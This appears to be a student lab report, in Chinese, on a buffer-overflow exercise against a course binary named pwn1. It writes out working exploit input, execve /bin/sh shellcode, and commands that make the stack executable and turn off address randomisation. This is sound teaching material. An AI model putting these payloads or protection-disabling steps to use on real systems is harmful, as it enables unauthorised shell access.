一、实践内容
1.1 反汇编
1.1.1 编程原理
通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化,要读懂反汇编需要有扎实的高级语言编写功底和汇编功底。
1.1.2 折叠编辑本段作用及方式
折叠作用。有许多程序可以进行逆向操作即反编译以求修改,例如Flash的文件生成的SWF文件,可以被反汇编成Flash原码,但可以发现与原程序代码发生了很大变化。
网络上的许多"免费软件",PSP PS NDS游戏机的破解和苹果iOS系统的越狱都跟反汇编息息相关。
1.1.3 折叠静态反汇编
静态反汇编是从反汇编出来的程序清单上分析,从提示信息入手进行分析。大多数软件在设计时,都采用了人机对话方式。所谓人机对话,即在软件运行过程中,需要由用户选择的地方,软件即显示相应的提示信息,并等待用户按键选择。而在执行完某一段程序之后,便显示一串提示信息,以反映该段程序运行后的状态,是正常运行,还是出现错误,或者提示用户进行下一步工作的帮助信息。为此,如果我们对静态反汇编出来的程序清单进行阅读,可了解软件的编程思路,以便顺利破解该软件,也就是我们常说的破解版即盗版。反汇编亦是外挂设计最重要的环节,可以说没有反汇编就没有外挂。 常用的静态分析工具是W32DASM、PEiD、FileInfo、 Hex Rays Ida和HIEW等。
1.1.4 折叠编辑本段相关工具
反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂。
1.2 一些汇编指令的机器码
1、NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
2、JNE:条件转移指令,如果不相等则跳转。(机器码:75)
3、JE:条件转移指令,如果相等则跳转。(机器码:74)
4、JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
5、CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。CMP指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。
1.3 补码
计算机中的有符号数有三种表示方法,即原码、反码和补码。三种表示方法均有符号位和数值位两部分,符号位都是用0表示“正”,用1表示“负”,而数值位,三种表示方法各不相同。在计算机系统中,数值一律用补码来表示和存储。原因在于,使用补码,可以将符号位和数值域统一处理;同时,加法和减法也可以统一处理 。
1.4 本次实验内容
1、实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
2、实验要求
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
掌握反汇编与十六进制编程器
能正确修改机器指令改变程序执行流程
能正确构造payload进行bof攻击
二、实践过程
2.1 手工修改可执行文件
1、首先将 kali 虚拟机名称由 kali-qq 改为 wjh(临时修改)。
2、在学习通下载pwn1文件到kali里面。
3、输入 objdump -d pwn1 | more
,对pwn1文件进行反汇编。
4、往下找可以找到getShell、foo和main函数。
在上图中,可以看到main函数中第四行是在调用08048491地址的foo函数,且其对应的机器指令为:e8 d7 ff ff ff,其中e8表示指令id,后面四个是要跳到的指令id,是补码形式。此时eip寄存器中的值为下条指令80484ba的地址。
三者关系:80484ba + d7 ff ff ff = 08048491。
要实现直接跳转到getShell函数,就只需要修改foo函数的地址为getShell函数地址(上图中有)即可。用上述关系计算:804847d - 80484ba = c3 ff ff ff。可得要修改的机器指令为:e8 c3 ff ff ff。
5、下面我们进行具体修改
注:本部分实验中用自己的电脑做最后一步反汇编时出现了格式错误的问题,没有找到解决办法也不清楚是哪里出了问题。后来换了同学的虚拟机才成功。
(1)用 cp pwn1 pwn20221905
对pwn1文件进行保护,防止破坏,然后输入 vi pwn20221905
对 pwn20221905文件进行修改。
(2)上图中的源代码格式修改起来不太容易,按esc键并输入 :%!xxd
将其变为16进制。(没有xxd的话要先安装)
(3)然后 :wq
保存退出,查看文件权限 ls -l
(4)再次进入pwn20221905文件,进行修改。输入/e8 d7找到要修改内容的位置,根据上述分析,将d7 改为 c3。
(5)输入 :%!xxd -r
还原为原格式后,:wq
保存退出。
(6)此处验证一下 objdump -d pwn20221905 | more
定位过去发现已经成功修改。
(7)最后再运行一下以前的文件pwn1(运行完后要手动输入内容)和修改后的文件pwn20221905。发现pwn1是在复现,而pwn20221905是一个shell。
2.2 构造输入参数
2.2.1 反汇编,了解程序的基本功能
输入 objdump -d pwn1 | more
查看pwn1文件。
1、注意这个函数 getShell,我们的目标是触发这个函数。
2、该可执行文件正常运行是调用如下函数 foo,仔细分析后发现foo函数存在漏洞:系统仅预留了 28(0x1c)字节的缓冲区,超出部分将发生溢出,我们的目标是覆盖返回地址。
3、上面的 call 调用 foo,同时在堆栈上压上返回地址值:80484ba。
2.2.2 确认输入字符串哪几个字符会覆盖到返回地址
1、安装gdb,查看其版本。
2、输入 gdb pwn1
对文件pwn1进行调试,再输入r运行。当输入的为 1111111122222222333333334444444455555555 可以看到eip的值0x35353535 也就是 5555 的 ASCII码。
3、如果输入字符串 1111111122222222333333334444444412345678,那 1234 那四个数最终会覆盖到堆栈上的返回地址,进而CPU会尝试运行这个位置的代码。那只要把这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行 getShell。
2.2.3 确认用什么值来覆盖返回地址
1、getShell的内存地址,通过反汇编时可以看到,即0804847d。接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
对比之前 eip 0x34333231 0x34333231 ,正确应输入11111111222222223333333344444444\x7d\x84\x04\x08。
2.2.4 构造输入字符串
1、要想将上述字符串成功输入,先要生成一个20211919文件。
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > 20221905
其中 \x0a 表示回车。
然后输入 xxd 20221905
查看20221905文件的内容是否如预期。
2、接着输入 (cat 20221905; cat) | ./pwn1
,将20221905的输入,作为pwn1的输入。最后输入 ls
进行测试,发现程序成功调用了getShell函数。
2.3 注入Shellcode并执行
2.3.1 准备一段Shellcode
本次实验参考https://www.cnblogs.com/xicyannn/p/12373066.html进行。
要准备好一段shellcode,参考上述博客,使用的shellcode如下:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\
2.3.2 安装并使用execstack
1、安装execstack
2、输入 execstack -s pwn1
设置堆栈可执行。然后输入 execstack -q pwn1
查询文件的堆栈是否可执行。最后输入 echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
2.3.3 正式实验
1、使用输出重定向将perl生成的字符串存储到文件中:
perl -e 'print
"\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_20221905
2、接着输入 (cat input_20221905;cat) | ./pwn1
注入攻击buf。(此处千万不要按回车!!!)然后先将上一个终端放在那里,再重新打开一个终端,输入ps -ef | grep pwn1
查看pwn1的进程号。
3、从上图中可以推断出进程号为 71070。接着在新的终端输入 gdb pwn1
,进入gdb 调试,输入 attach 71070
查看pwn1进程,然后输入 disassemble foo
。
4、接着输入 break *0x080484ae
在 0x080484ae 处设置断点。
5、接着返回第一个终端按下回车,再返回第二个终端输入 c
继续运行。输入 info r esp
查看栈顶指针所在的位置为 0xffffd40c。接着输入x/16x 0xffffd40c
,发现 0xffffd40c 中有值 01020304 。
由上述可以算出shellcode地址就是 0xffffd40c+0x00000004,即0xffffd410。
6、接着退出gbd,输入:perl -e 'print "A" x 32;print "\x10\xd4\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_20221905
重新构造 input_20221905文件。
7、最后执行 (cat input_20221905;cat) | ./pwn1
。这时候应该已经调用了getShell函数,进行一下测试,输入 ls
。
三、学习中遇到的问题及解决
1、问题:在实验一中,用 :%!xxd
修改源代码格式,提示没有 xxd 指令
解决方法:使用 apt-get install xxd
安装 xxd(用桥接模式下载)
2、问题:在实验一中,对pwn20221905进行反汇编出现格式错误问题。
解决办法:没有找到是哪里出了问题,后来换了同学的虚拟机做成功了。
3、问题:安装execstack失败
解决办法:使用以下步骤更新源
四、学习感想和体会
这次进行缓冲区溢出相关知识的实验,让我对缓冲区溢出的原理以及相应的三种攻击方法有了更加深入的体会和了解。之前对缓冲区溢出主要还是停留在概念上,这次虽说是在非常“理想”的环境下实现的,毕竟想要在现实中利用漏洞实现缓冲区溢出攻击,还是有点难度,但还是让我认识到这类漏洞的危险性。同时通过这次实验,让我对Linux系统的使用更加熟悉,对Linux的各种命令有了更深入的了解。实验过程中虽说遇到了许多问题,但这样的情况已经习惯了,只要用心解决,办法总比困难多。
五、参考资料
https://blog.csdn.net/WangLal/article/details/113100071
https://www.cnblogs.com/WangAoBo/p/6563760.html
https://blog.csdn.net/m0_65266036/article/details/129678551
https://www.cnblogs.com/daijunxi2019/p/15994636.html